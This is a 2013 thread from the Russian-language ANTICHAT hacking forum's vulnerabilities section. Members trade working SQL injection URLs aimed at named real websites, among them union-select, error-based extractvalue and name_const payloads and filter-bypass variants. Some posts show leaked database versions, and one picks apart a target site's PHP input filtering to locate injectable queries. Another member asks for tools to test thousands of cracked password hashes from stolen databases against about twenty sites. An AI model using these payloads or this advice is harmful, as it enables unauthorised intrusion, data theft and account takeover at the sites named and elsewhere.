HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #22751  
Старый 26.09.2013, 18:03
infoseller
Guest
Сообщений: n/a
Провел на форуме:
49472

Репутация: 0
По умолчанию

Инъекция в MSSQL, фильтрация всех спецсимволов - (),;`"':[]@ hex не помогает, подсказки есть?
 
Ответить с цитированием

  #22752  
Старый 26.09.2013, 19:19
Unknown
Guest
Сообщений: n/a
Провел на форуме:
8396

Репутация: 6
По умолчанию

Цитата:
Сообщение от Always  
Always said:
http://np.com.ua/search.html?keywords=1'+order+by+2+--+
http://np.com.ua/search.html?keywords=1'+union+SELECT+1,2+--+
Как быть?
Используется несколько запросов с одним и тем же параметром

Код:
Code:
Input->get('keywords') ) {
  /* Входные данные не фильтруются должным образом--->*/          $title = $this->Input->get('keywords');
        } else if ( $this->Input->post('keywords') ) {
   /* Въодные данные не фильтруются должным образом(пост)--->*/          $title = $this->Input->post('keywords');
        }
        
        $total = 0;
  /* first inject ---->>*/      $db = $this->Database->execute(" SELECT id,pid,title,short_comment FROM tl_msm_catalog_item WHERE title LIKE '%". $title ."%' OR short_comment LIKE '%". $title ."%' ");
        $total += $db->numRows;
        
        $array = array();
        while ( $db->next() ) {
            
            $view = str_replace("", "", $db->short_comment);
            $view = str_replace("", "", $view);
            $array[] = array(
                'title' =>  $db->title,
                'href'	=>  $this->generateFrontendUrl('','thermal-aid/ccategory/'.$db->pid.'/product/'.$db->id.'/'.$this->setTranslite($db->title)),
                'short' =>  $view,
            );
        }
        
   /* second inject ---->>*/     $db32 = $this->Database->execute(" SELECT id,pid,title FROM tl_msm_catalog WHERE title LIKE '%". $title ."%' ");
        $total += $db32->numRows;
        
        while ( $db32->next() ) {
            
            $array[] = array(
                'title' =>  $db32->title,
                'href'	=>  $this->generateFrontendUrl('','thermal-aid/category/'.$db32->pid.'/scategory/'.$db32->id)
            );
        }
        
  /* another one ----->>*/      $db1 = $this->Database->execute(" SELECT id,pid,title,short_about FROM tl_msm_mclass_file WHERE title LIKE '%". $title ."%' OR short_about LIKE '%". $title ."%' ");
        $total += $db1->numRows;
Код:
Code:
/* system/libraries/Input.php */

public function get($strKey, $blnDecodeEntities=false)
	{
		$strCacheKey = $blnDecodeEntities ? 'getDecoded' : 'getEncoded';

		if (!isset($this->arrCache[$strCacheKey][$strKey]))
		{
			$varValue = $_GET[$strKey];

			if (is_null($varValue))
			{
				return $varValue;
			}

			$varValue = $this->stripSlashes($varValue);
			$varValue = $this->decodeEntities($varValue);
			$varValue = $this->xssClean($varValue, true);
			$varValue = $this->stripTags($varValue);

			if (!$blnDecodeEntities)
			{
				$varValue = $this->encodeSpecialChars($varValue);
			}

			$this->arrCache[$strCacheKey][$strKey] = $varValue;
		}

		return $this->arrCache[$strCacheKey][$strKey];
	}

	/**
	 * Return a $_POST parameter
	 * @param string
	 * @param boolean
	 * @return mixed
	 */
	public function post($strKey, $blnDecodeEntities=false)
	{
		$strCacheKey = $blnDecodeEntities ? 'postDecoded' : 'postEncoded';

		if (!isset($this->arrCache[$strCacheKey][$strKey]))
		{
			$varValue = $this->findPost($strKey);

			if (is_null($varValue))
			{
				return $varValue;
			}

			$varValue = $this->stripSlashes($varValue);
			$varValue = $this->decodeEntities($varValue);
			$varValue = $this->xssClean($varValue, true);
			$varValue = $this->stripTags($varValue);

			if (!$blnDecodeEntities)
			{
				$varValue = $this->encodeSpecialChars($varValue);
			}

			$this->arrCache[$strCacheKey][$strKey] = $varValue;
		}

		return $this->arrCache[$strCacheKey][$strKey];
	}

protected function stripSlashes($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->stripSlashes($v);
			}

			return $varValue;
		}

		if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc())
		{
			$varValue = stripslashes($varValue);
		}

		return $varValue;
	}

protected function decodeEntities($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->decodeEntities($v);
			}

			return $varValue;
		}

		// Preserve basic entities
		$varValue = $this->preserveBasicEntities($varValue);
		$varValue = html_entity_decode($varValue, ENT_COMPAT, $GLOBALS['TL_CONFIG']['characterSet']);

		return $varValue;
	}

protected function stripTags($varValue, $strAllowedTags='')
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->stripTags($v, $strAllowedTags);
			}

			return $varValue;
		}

		$varValue = str_replace(array(''), array('<!--', '<![', '-->'), $varValue);
		$varValue = strip_tags($varValue, $strAllowedTags);
		$varValue = str_replace(array('<!--', '<![', '-->'), array(''), $varValue);

		return $varValue;
	}

protected function xssClean($varValue, $blnStrictMode=false)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->xssClean($v);
			}

			return $varValue;
		}

		// Return if var is not a string
		if (is_bool($varValue) || is_null($varValue) || is_numeric($varValue))
		{
			return $varValue;
		}

		// Validate standard character entites and UTF16 two byte encoding
		$varValue = preg_replace('/(&#*\w+)[\x00-\x20]+;/i', '$1;', $varValue);
		$varValue = preg_replace('/(&#x*)([0-9a-f]+);/i', '$1$2;', $varValue);

		// Remove carriage returns
      	$varValue = preg_replace('/\r+/', '', $varValue);

      	// Replace unicode entities
		$varValue = utf8_decode_entities($varValue);

		// Remove NULL characters
		$varValue = preg_replace('/\0+/', '', $varValue);
		$varValue = preg_replace('/(\\\\0)+/', '', $varValue);

		$arrKeywords = array
		(
			'/\bj\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // javascript
			'/\bv\s*b\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // vbscript
			'/\bv\s*b\s*s\s*c\s*r\s*p\s*t\b/is', // vbscrpt
			'/\bs\s*c\s*r\s*i\s*p\s*t\b/is', //script
			'/\ba\s*p\s*p\s*l\s*e\s*t\b/is', // applet
			'/\ba\s*l\s*e\s*r\s*t\b/is', // alert
			'/\bd\s*o\s*c\s*u\s*m\s*e\s*n\s*t\b/is', // document
			'/\bw\s*r\s*i\s*t\s*e\b/is', // write
			'/\bc\s*o\s*o\s*k\s*i\s*e\b/is', // cookie
			'/\bw\s*i\s*n\s*d\s*o\s*w\b/is' // window
		);

		// Compact exploded keywords like "j a v a s c r i p t"
		foreach ($arrKeywords as $strKeyword)
		{
			$arrMatches = array();
			preg_match_all($strKeyword, $varValue, $arrMatches);

			foreach ($arrMatches[0] as $strMatch)
			{
				$varValue = str_replace($strMatch, preg_replace('/\s*/', '', $strMatch), $varValue);
			}
		}

		$arrRegexp[] = '/]*[^a-z](]*>/is';
		$arrRegexp[] = '/]*[^a-z]document\.cookie[^>]*>/is';
		$arrRegexp[] = '/]*[^a-z]vbscri?pt\s*:[^>]*>/is';
		$arrRegexp[] = '/]*[^a-z]expression\s*\([^>]*>/is';

		// Also remove event handlers and JavaScript in strict mode
		if ($blnStrictMode)
		{
			$arrRegexp[] = '/vbscri?pt\s*:/is';
			$arrRegexp[] = '/javascript\s*:/is';
			$arrRegexp[] = '/]*[^a-z]alert\s*\([^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]javascript\s*:[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]window\.[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]document\.[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onabort\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onblur\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onchange\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onclick\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onerror\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onfocus\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeypress\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeydown\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onkeyup\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onload\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseover\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseup\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmousedown\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onmouseout\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onreset\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onselect\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onsubmit\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onunload\s*=[^>]*>/is';
			$arrRegexp[] = '/]*[^a-z]onresize\s*=[^>]*>/is';
		}

		return preg_replace($arrRegexp, '', $varValue);
	}

protected function encodeSpecialChars($varValue)
	{
		if (is_null($varValue) || $varValue == '')
		{
			return $varValue;
		}

		// Recursively clean arrays
		if (is_array($varValue))
		{
			foreach ($varValue as $k=>$v)
			{
				$varValue[$k] = $this->encodeSpecialChars($v);
			}

			return $varValue;
		}

		$arrSearch = array('#', '', '(', ')', '\\', '=');
  /* replacing (, ), backslash, etc ------>> */		$arrReplace = array('#', '', '(', ')', '\', '=');

		return str_replace($arrSearch, $arrReplace, $varValue);
	}
Как наглядно показано, функция stripslashes используется весьма своевременно, что позволяет игнорировать включенный magic_quotes http://np.com.ua/phpinfo.php

Но, в свою очередь, происходит реплейс скобок, что не позволяет нам должным образом конструировать запрос

Код:
Code:
public function execute()
	{
		$arrParams = func_get_args();

		if (is_array($arrParams[0]))
		{
			$arrParams = array_values($arrParams[0]);
		}

		$this->replaceWildcards($arrParams);
		$strKey = md5($this->strQuery);

		// Try to load the result from cache
		if (isset(self::$arrCache[$strKey]) && !self::$arrCache[$strKey]->isModified)
		{
			return self::$arrCache[$strKey]->reset();
		}

		$objResult = $this->query();

		// Cache the result objects
		if ($objResult instanceof Database_Result)
		{
			self::$arrCache[$strKey] = $objResult;
		}

		return $objResult;
	}

public function query($strQuery='')
	{
		if (!empty($strQuery))
		{
			$this->strQuery = $strQuery;
		}

		// Make sure there is a query string
		if ($this->strQuery == '')
		{
			throw new Exception('Empty query string');
		}

		// Execute the query
/* Наш эксепшн ----->> */		if (($this->resResult = $this->execute_query()) == false)
		{
			throw new Exception(sprintf('Query error: %s (%s)', $this->error, $this->strQuery));
		}

		// No result set available
		if (!is_resource($this->resResult) && !is_object($this->resResult))
		{
			$this->debugQuery();
			return $this;
		}

		// Instantiate a result object
		$strClass = DB_DRIVER . '_Result';
		$objResult = new $strClass($this->resResult, $this->strQuery);
		$this->debugQuery($objResult);

		return $objResult;
	}
Раскручивание еррор/блайнд/тайм байсед весьма огранничеено, учитывая что скобкам наступает фаталити. А классика обрывается из-за нескольких запросов. Чтобы найти выход из этой ситуации, придется подумать, либо написать мне в пм

Цитата:
Сообщение от infoseller  
infoseller said:
Инъекция в MSSQL, фильтрация всех спецсимволов - (),;`"':[]@ hex не помогает, подсказки есть?
На каком уровне идет фильтрация?
 
Ответить с цитированием

  #22753  
Старый 26.09.2013, 19:33
RedX
Познающий
Регистрация: 12.06.2008
Сообщений: 32
Провел на форуме:
324402

Репутация: 22
Отправить сообщение для RedX с помощью ICQ
По умолчанию

Давненько нащупал, но так и не разобрал.

Цитата:
Сообщение от None  
http://www.belarusinfo.by/ru/poisk/1'))
Переменная заносится в массив по пробелам, используется в минимум трех запросах, но ничего конкретного не смог подобрать.
 
Ответить с цитированием

  #22754  
Старый 26.09.2013, 19:47
Грабитель
Guest
Сообщений: n/a
Провел на форуме:
69791

Репутация: -7
По умолчанию

Цитата:
Сообщение от RedX  
RedX said:
Давненько нащупал, но так и не разобрал.
Переменная заносится в массив по пробелам, используется в минимум трех запросах, но ничего конкретного не смог подобрать.
http://www.belarusinfo.by/ru/poisk/1'and(select*from(select(name_const(version(),1)), name_const(version(),1))a)and'

Duplicate column name '5.0.77'
 
Ответить с цитированием

  #22755  
Старый 27.09.2013, 09:32
infoseller
Guest
Сообщений: n/a
Провел на форуме:
49472

Репутация: 0
По умолчанию

Цитата:
Сообщение от wacky  
wacky said:
На каком уровне идет фильтрация?
На уровне вэбсервера
 
Ответить с цитированием

  #22756  
Старый 28.09.2013, 01:57
zloy_fantom
Guest
Сообщений: n/a
Провел на форуме:
15180

Репутация: 0
По умолчанию

Прошу помощи.

Скачал у одного перца несколько баз данных, набрутил пару тысяч хэшей.

Вроде неплохо, но что дальше?

Знаю, что базы не его, он их где-то сдампил. Знаю пару десятков сайтов, которые его интересуют. Т.е., базы наверняка с них, но какая откуда - непонятно, да и старые они - от 2-х до 4-х лет. Решил подбирать пару логин-пароль по тем пользователям, которых набрутил. Но 2 тысячи на 2 десятка сайтов... Я повешусь быстрее. Подскажите софт для такой операции.

Спасибо
 
Ответить с цитированием

  #22757  
Старый 28.09.2013, 19:57
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию

Уже как я над ними не изощрялся, не могу вывести -((

Код:
Code:
http://www.anuch.com/moto.php?strana=21&roku=-2005+union+select+version%28%29+--+&&id=3103
http://www.hondaalpina.com.br/moto.php?id=-3+un%0Bion+sel%0Bect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
http://www.motovendo.cl/motovendo/datos-moto.php?view=-2319+order+by+1+--+
http://jpland.ru/mototehnika.php?category_id=09999999+union+select+1,2,3,4,5,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201+And+1=0%27+order+by+1+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ivrus.biz/showcat.php?id=-10%27%29%27+union+select+1,2,3+--+
 
Ответить с цитированием

  #22758  
Старый 28.09.2013, 21:02
Fake22
Guest
Сообщений: n/a
Провел на форуме:
14214

Репутация: 0
По умолчанию

Здравствуйте! Я новичок в этих делах.. и хотел бы научится взламывать сайты... я плохого ни чего ни хочу. Просто хочу знать как это делается... Я начну создавать сайты в будущем и пока я не пойму как взламывают сайт то я и не смогу его защитить... просто это мое мнение! можно по шаговую статью о том что мне надо понять и где все это про тестировать? Заранее спасибо...
 
Ответить с цитированием

  #22759  
Старый 28.09.2013, 21:20
Inoms
Guest
Сообщений: n/a
Провел на форуме:
23349

Репутация: 45
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Unknowhacker said:
Уже как я над ними не изощрялся, не могу вывести -((
Код:
Code:
http://www.anuch.com/moto.php?strana=21&roku=-2005+union+select+version%28%29+--+&&id=3103
http://www.hondaalpina.com.br/moto.php?id=-3+un%0Bion+sel%0Bect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
http://www.motovendo.cl/motovendo/datos-moto.php?view=-2319+order+by+1+--+
http://jpland.ru/mototehnika.php?category_id=09999999+union+select+1,2,3,4,5,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201+And+1=0%27+order+by+1+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ivrus.biz/showcat.php?id=-10%27%29%27+union+select+1,2,3+--+
Код:
Code:
http://www.anuch.com/view.php?id=40350000%27%20union%20all%20select%20999,user%28%29,999,999,version%28%29,6999,999+--+&&strana=27&&roku=2011.09
http://www.motovendo.cl/motovendo/datos-moto.php?view=3%27-%271%27,1,1,1,1%20and%20%28extractvalue%281,concat%280x3b,user%28%29%29%29%29%29+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10 or(extractvalue(1,concat(0x3b,user()))) --
http://jpland.ru/mototehnika.php?id=160%27%20UNION%20SELECT%20user%28%29,2,3,4,version%28%29,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201%27%20and%20extractvalue%281,concat%280x3b,user%28%29%29%29%20and%20%27
http://www.hondaalpina.com.br/moto.php?id=3911/**//*!uNiOn*//**//*!SELECT*/1/*!,*/2/*!,*/user%28%29/*!,*/4/*!,*/5/*!,*/6/*!,*/7/*!,*/8/*!,*/9/*!,*/10/*!,*/11/*!,*/12/*!,*/13/*!,*/14/*!,*/15/*!,*/16/*!,*/17/*!,*/18/*!,*/19/*!,*/20/*!,*/21/*!,*/22+--+
http://www.ivrus.biz/photoarchive.php?id=14%20UNION%20SELECT%201,2,3,user%28%29,version%28%29,6,7
 
Ответить с цитированием

  #22760  
Старый 29.09.2013, 15:26
Sanic1977
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034

Репутация: 0
По умолчанию

Помогите раскрутить такую скулю на mssql

id=15&type='+convert(int,@@version)+'

выводит:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

Как дальше крутитЬ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ